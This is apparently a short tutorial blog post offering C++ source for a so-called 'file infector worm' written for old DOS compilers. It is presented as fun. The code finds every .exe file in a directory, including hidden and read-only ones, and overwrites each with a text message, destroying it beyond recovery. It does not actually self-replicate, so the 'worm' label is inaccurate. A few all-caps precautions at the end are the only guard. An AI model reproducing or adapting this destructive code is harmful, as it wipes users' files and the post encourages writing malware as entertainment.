How to Write Virus or File Infector Worm in C++

If you want to write a virus in programming language, this is how you can write a virus or file infector worm in programming language like C++. Please do not try this on you system.

Lets Make some fun with programming.Here is the source code for the file infector worm(program that can find and infect the files). The code for File Infector Worm in c++ could be write to infect any files, either they may be exe or jpeg or any other. Please read the Precautions at last and have  fun

Source Code for File infector worm in C++

#include<iostream.h>
#include<dir.h>
#include<dos.h>
#include<fstream.h>

void main()
{
struct ffblk f;
int done;
ofstream file;

done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY);     // write extension of files here
while(!done)
{

cout<<f.ff_name<<endl;
file.open(f.ff_name,ios::binary);
file<<"hi i am file infector";                 //write message to be wriitten in file
file.close();

done = findnext(&f);
}
}

 

DO NOT COMPILE THIS CODE DIRECTLY
INFECTED FILES COULDN’T BE RESTORED
BEFORE COMPILE WRITE ANYTHING ELSE INSTEAD OF  ‘*.exe’  e.g ‘*.test’  (in 10th line of code)